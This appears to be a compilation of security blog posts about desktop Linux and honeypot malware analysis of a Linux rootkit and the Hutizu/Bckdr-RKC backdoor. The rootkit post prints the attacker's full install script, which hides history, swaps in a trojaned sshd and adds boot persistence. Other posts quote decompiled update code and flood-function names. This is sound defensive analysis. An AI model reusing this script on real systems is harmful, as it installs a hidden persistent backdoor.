Adventures in Desktop Linux Computing - Chapter Two

This is the second article in my series on Desktop Linux Computing. You can read the original article here.

It's been well over a month since I install CentOS 6 on my mother-in-law's PC - and so far I've only had to make one service call - to install Skype.

Many people have asked me why I didn't install Fedora or Ubuntu. The answer is that I trust the stability of CentOS better, since it's an open source clone of Red Hat Enterprise.

When I was asked to install Skype on her laptop - apparently she had first researched and tried to do it herself - but because she was downloading the wrong package, CentOS wouldn't allow the install to continue.

One of the biggest problems normally present with family members' PCs is trying to find a balance between preventing the install of "crapware" and making sure the family member can still do everything they need to. I believe that by using CentOS 6, I've managed to find that balance.

I suspect that the next service call I receive will probably be to install OpenOffice - but I haven't received that call yet.

Stay Tuned! I will continue to post updates as they occur.

Adventures in Desktop Linux Computing - Chapter One

Today I took a very brave step. I installed Linux on my mother-in-law's laptop.

The reason I installed Linux on her laptop is because despite my continued attempts to keep her system from getting infected with malware, she continues to be the victim of drive-by downloads.

So, to help mitigate this recurring issue, I completely wiped her PC and installed Linux.

Why Linux? Because most malware which targets home users attacks Windows or Mac systems.

Now, something to keep in mind is that this solution is not for everyone. Before I wiped her PC, I confirmed with her multiple times that there was nothing on it she needed, and that all she uses it for is web browsing. It's important to note that while most people only use their PCs for Internet and word processing, some do use specialized software, so consult with your family member before trying to replace their operating system.

Before wiping a PC, it's important to make sure that all of the drivers will work with that PC. The best option is to boot the PC using a LiveCD before actually committing the install. I personally used CentOS 6 but there are many options, including Fedora or Ubuntu.

Once you have the PC up and running with the LiveCD, make sure the person can still use the PC for everything they need. Ask them to visit the Internet sites they regularly visit, and make sure they still work. Note any dependencies they might need, such as Java or Flash.

After you are comfortable that the person will be able to still use their computer, go ahead and install Linux from the LiveCD to the hard disk, so that any favorites/bookmarks the person creates will stay, as well as any dependencies you install.

Hopefully by replacing the PC's operating system with Linux, you'll have fewer visits to fix malware infections. However, don't be surprised if you have to answer a few calls on how to do something with their new OS.

I'll let you know what issues are encountered in Chapter Two!

Root @th3j35t3r with Google Chrome

Today we're going to have a lesson on password strength and software vulnerabilities.

Disclaimer: Th3J35t3r's site has served targeted malware in the past designed to capture data... especially from members of Anonymous. Perform these steps at your own risk!

There's something interesting afoot on The Jester's website...


In the upper right corner there's a little "Pi" symbol.  If you've ever watched the movie "The Net" you know that interesting secrets are beneath the Pi symbol.

After clicking on the Pi icon you are presented with a UNIX style login prompt.

The login prompt allows you to login with the username "guest" and no password.  However any attempts to login with "root" are met with a password prompt.

Linux Rootkit "bum.pdf" dropped onto my Honeypot Today

A malicious user from Romania using Putty dropped off a Linux rootkit on my honeypot today.

From my initial analysis it appears that the honeypot installs a hidden SSH server running on port 10001.

I haven't had much time to look through the entire package but if you'd like to browse what was dropped off I have uploaded everything to CaffSec-Malware-Analysis.

If you find anything interesting please free to post a comment.


UPDATE: I have found a related article on TMCNET.com talking about a backdoor installed on port 10001.  Read the article here: http://blog.tmcnet.com/blog/tom-keating/asterisk/hacked-asterisk-pbx-update.asp


Here is the install script for the main payload.  Interesting stuff!

#!/bin/bash
unset HISTSAVE
unset HISTFILE
unset SAVEFILE
unset history
mv libcrypto.so.4 /lib/
chattr -suia /usr/sbin/zdump
rm -rf /usr/sbin/zdump
mv sshd /usr/sbin/zdump
chattr +suia /usr/sbin/zdump
mkdir -p /usr/include/X11/.swap/
tar xvfz pic.tar.gz -C /usr/include/X11/.swap/ >>/dev/null
mkdir -p /usr/include/sound
mv sound.so /usr/include/sound/
mv sounds.h /usr/include/sound/
chmod 770 /usr/include/sound/sounds.h
/usr/include/sound/sounds.h
echo "# Now that we have all of our basic modules loaded and the kernel going,">>/etc/rc.sysinit
echo "# let's dump the syslog ring somewhere so we can find it later" >>/etc/rc.sysinit
echo "/usr/include/sound/sounds.h" >>/etc/rc.sysinit
sleep 10
echo "Enjoy your new box on port 10001"
cd ..
rm -rf rks* 

Executable and Linkable Format (ELF) Guide

Yesterday I found a very handy guide for understanding Linux ELF files.  Great for malware analysis!

Thought I would share it with everyone else.

http://www.acsu.buffalo.edu/~charngda/elf.html

Linux Processes – Memory Layout, exit, and _exit C Functions

This is a great article from TheGeekStuff.com.  Very relevant for those who analyze Linux malware.

"In this article, we will discuss about the memory layout of a process and the process terminating C functions."

Linux Processes – Memory Layout, exit, and _exit C Functions

Hutizu/Huituzi - Follow the Gray Rabbit

When typing Huituzi (the Chinese phonetic originally found in .ssyslog) into Google Translate, when performing phonetic typing for Chinese, huituzi translates into 灰兔子, which in Chinese apparently means "Gray Rabbit".

So, we now know the name of this amazing piece of malware.

According to Wikipedia, in Chinese literature, rabbits accompany Chang'e (the Chinese moon goddess) on the Moon. Also associated with the Chinese New Year (or Lunar New Year), rabbits are also one of the twelve celestial animals in the Chinese Zodiac for the Chinese calendar.

A very interesting note: This malware was discovered in 2011 - the Chinese year of the Metal Rabbit, or "Jīnshǔ tù" (金属兔).

The question remains - how deep does this rabbit hole go?

I'm updating all of my .ssyslog posts to include "Hutizu" since that is the official detection name.

Hutizu and Linux/Bckdr-RKC Detection Statistics

Let's take a look at current detection statistics for Linux/Bckdr-RKC.
The newer variant has been named the Hutizu backdoor by Antivirus vendors.

.xsyslog - The original file placed on my honeypot.
Commonly known as Linux/Bckdr-RKC or Linux/PKC

Metascan:
1/25 detection http://www.metascan-online.com/results/ue9v7uz2yv9wvb36mdwr2s9hg3hss792
Fortinet detects as Linux/PKC.A!tr.bdr

VirusTotal:
0/43 detection https://www.virustotal.com/file/ce62318acfb28e7ad5c915b0bb7cbc256b5c682097d33d1a002ff856b21d7324/analysis/1332284106/ 

VirScan:
3/36 detection http://r.virscan.org/report/a6769c90a8c3d519201c6cdee60eea5b.html 
Fortinet detects as Linux/PKC.A!tr.bdr
Kaspersky detects as Backdoor.Linux.PKC.a

Sophos detects as Linux/Bckdr-RKC


.ssyslog - The newer variant
Commonly known as "Hutizu"

Metascan:
3/25 detection http://www.metascan-online.com/results/szab3gp39d91byh3z3ebuz64utld97m0
ArcaVir detects as Linux.Hutizu.a
Fortinet detects as Linux/Hutizu.A!tr.bdr
Ikarus detects as Backdoor.Linux.Hutizu

VirusTotal:
7/43 detection https://www.virustotal.com/file/414a142016cab43d85c7b85a61426f0d3e3c2e04b9c3a9b94d88925593aaf49b/analysis/1332284644/ 
Comodo detects as UnclassifiedMalware
Emsisoft detects as Backdoor.Linux.Hutizu!IK
Fortinet detects as Linux/Hutizu.A!tr.bdr
Ikarus detects as Backdoor.Linux.Hutizu
Jiangmin detects as Backdoor/Linux.ab
Kaspersky detects as Backdoor.Linux.Hutizu.a
Sophos detects as Linux/Hutizu-A

VirScan:
8/36 detection http://r.virscan.org/report/dac52b25964a8614bb02e119e828575c.html
a-squared detects as Backdoor.Linux.Hutizu!IK
ArcaVir detects as Linux.Hutizu.a
Comodo detects as UnclassifiedMalware
Fortinet detects as Linux/Hutizu.A!tr.bdr
Ikarus detects as Backdoor.Linux.Hutizu
Jiangmin detects as Backdoor/Linux.ab
Kaspersky detects as Backdoor.Linux.Hutizu.a
Sophos detects as Linux/Hutizu-A

This is good news, as it means anti-virus vendors are starting to detect this malware.

But the bad news is, only a small fraction of AV vendors are detecting it!

Hutizu Under the Hood

Been looking at the STRINGS result of .ssyslog... Which is now detected by a small number of AV vendors as "Hutizu"

http://code.google.com/p/caffsec-malware-analysis/source/browse/trunk/ssyslog/ssyslog-strings.txt

A few interesting items jumped out at me.

Linux/Bckdr-RKC Delivery Method Analyzed

You can tell a lot about an attacker based upon their methods of attack.
-Automated attacks happen rapidly, with no time for typing
-Manual attacks happen slowly, as the attacker has to type commands
-Typos and misspellings indicate a manual attack
-Connection string will give away what kind of operating system the attacker is using

Let's take a look at both pieces of the Linux/Bckdr-RKC malware I've received. 

Coming Soon: Android for the Paranoid Article Series

I've decided to write a series of articles titled "Android for the Paranoid".

The articles will be an in-depth look at some of the Android security related applications out there, and how they can be leveraged by you and your organization.

If you have any apps you would like me to specifically look at, please post in the comments section below!

UPDATED: Hutizu and Linux/Bckdr-RKC now have limited detection

UPDATE: The latest news on Linux/Bckdr-RKC (.xsyslog) and Hutizu (.ssyslog) can be viewed HERE, including newest detection statistics.  Thanks!


It's been approximately 2 months since the original discovery of Linux/Bckdr-RKC

This Linux trojan is still undetected, according to VirusTotal.com


Virustotal: .xsyslog
Virustotal: .ssyslog


In fact, it would appear that even Sophos is no longer detecting this trojan.

I have resubmitted the file to multiple antivirus vendors, in hopes that they may pay attention to my submission this time.

For those who aren't familiar with this trojan, an anonymous internet user has taken the time to put together a Pastebin post highlighting my research on this trojan.  http://pastebin.com/DwtX9dMd

I'd also like to take the time to point out that you can view the decompiled source of this trojan at my malware research Google code project: http://code.google.com/p/caffsec-malware-analysis/

Keep fighting the good fight.

Following the Trail: Determining the Origins of Linux/Bckdr-RKC

It is already known that the two Linux/Bckdr-RKC variants I have received have both been hosted by 216.83.44.229.  Furthermore, the first variant had a phone-home address of 216.83.44.226.

Both of these IP addresses are registered to the netblock owned by WIRELESS-ALARM.COM (not to be confused with the actual website wireless-alarm.com, which is registered to a different contact completely, and unrelated here).

Let's use what we already know to try to find the organization responsible for this malware.

Chinese Origins in .ssyslog Decompiled - Linux/Bckdr-RKC and Hutizu

 I have partially decompiled the second piece of malware which was similar to the original Linux/Bckdr-RKC dropped on my honeypot.

Update: .ssyslog is now detected as "Hutizu".

I am publicly posting the first section of this file to highlight my findings so far...

Update: The full decompiled source of both pieces of malware is now available at Google Code

The first part of this decompiled code which really stood out was a clear marker that this malware is definately of Chinese origin.  This snippet of code is from the following function  

int autoupdate(char* url_address, char* local_to_file)

Code:

L0805FF50( &_v3660, "GET /%s HTTP/1.1

\nAccept: */*

\nAccept-Language: zh-cn

\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)

\nHost: %s:%d

\nConnection: Close

\n

\n",  &_v2380);

The "Accept-Language" of zh-cn represents Traditional Chinese as the desired web browse language.

This means the malware in question was most likely programmed by a native speaker of Chinese.  Add to this the fact that the malware is hosted by a fake corporation in China, and that the previous version of this malware also phoned home to the same fake corporation, this all becomes very interesting.

Here are a few other function names from this latest version:

• copy_myself(const char* name)
• autostart(const char* inser_to_file)
• int SendSevMonitor()
• int SendServerPack()
• GetNetPackets(long long unsigned int* lNetOut, long long unsigned int* lPacketOut)
• int moniter(char* host)
• int udpflood(_Unknown_base* ThreadData)
• int synflood(_Unknown_base* ThreadData)
• int synbigpacket(_Unknown_base* ThreadData)
• int ackflood(_Unknown_base* ThreadData)
• int ackbigpacket(_Unknown_base* ThreadData)
• GetStructureDnsPacket(char* QueryDomain, char* QueryData, int* nQueryData)
• int dnsflood(_Unknown_base* ThreadData)
• int more_ip_dns_test(_Unknown_base* ThreadData)
• int autoupdate(char* url_address, char* local_to_file)
• int get_online_ip(char* domain, char* return_ip)
• int parse_dns_response(char* return_ip)
• parse_dns_name(unsigned char* chunk, unsigned char* ptr, char* out, int* len)
• send_dns_request(const char* dns_name)
• connect_to_server()

Make no mistake, this malware is clearly designed to perform reconnaissance on internal networks and disrupt communications when instructed to do so by the command and control server.

The malware has self-replication and automatic update capabilities.

I find this malware very disturbing.

What I find even more distrubing is the fact that since my submission of this malware to antivirus vendors, with the exception of Avira who believes this file is clean, none of the antivirus vendors have completed their analysis.

These two pieces of malware seem very professionally crafted with a clear purpose - to serve as a "cyber weapon".

Linux/Bckdr-RKC Initial Analysis

A malicious user dropped off a VERY interesting piece of malware on my honeypot today with the filename ".xsyslog"

This piece of malware was previously undetected, and many kudos to Sophos for being the first to confirm my findings that the software was malicious.

So far, I have been able to determine the following:

This is a UPX packed Linux ELF which appears to have been around since late November 2011, according to internet searches.



The malware is installed from a compromised system after cracking a SSH server's root password, in the path /etc/.xsyslog

The malware is downloaded from an IP address which appears to be hosted in Hong Kong by a fake corporation: 216.83.44.229 port 99

It phones home to an IP address which appears to be hosted by the same fake corporation: 216.83.44.226 port 81

I have uploaded all relevant strings within the unpacked file to Pastebin.

I will provide additional details as I find/receive them.  This malware has been forwarded to US-CERT, as well as multiple anti-virus vendors.

Track current AV coverage at http://md5.virscan.org/58c23ca549c941f0d44b35fa31d77011

Related Reading:
Sophos Whitepaper Protection for Mac and Linux Computers: Genuine Need or Nice to Have?

What's in a hacker's toolkit?

An attacker recently gained access to my honeypot, and began uploading hack tools using wget.

While his hack tools did not actually infect anything, I retained a copy for evaluation, and even gained access to his FTP server which contained all of his tools.

The available tools in this attacker's bag of tricks is quite interesting.

A look at a simple SSH probe and password crack

Here's an annotated look at how an attacker using a SSH password cracker compromises servers.

First the attacker probes to see if SSH is accepting connections.  Most likely the scanner also attempted to fingerprint the IP address to identify the operating system.  This is most likely an automated process on a compromised system.

2011-10-05 05:08:56-0400 [kippo.core.honeypot.HoneyPotSSHFactory] New connection: 221.176.11.13:35868 (192.168.1.165:22) [session: 0]
2011-10-05 05:08:56-0400 [HoneyPotTransport,0,221.176.11.13] connection lost

Next the attacker begins attempting to crack the SSH password for the root user.  Once again these attempts are automated, and use a cracking tool which is based upon SSH-2.0-libssh-0.11.

Guide to Malicious Linux/Unix Commands

UbuntuGuide.org has an excellent guide to Malicious Linux/Unix Commands which may be observed on live systems or honeypots.

Not only is it a good idea to monitor logs for attempts at using these commands, but it may also be a good idea to test your honeypot (especially if it's a virtual machine) to see if these commands will damage/destroy your honeypot.

Below is a current copy of the guide.  It has already dissapeared from the Ubuntu forums, so I felt it would be a good idea to archive "just in case".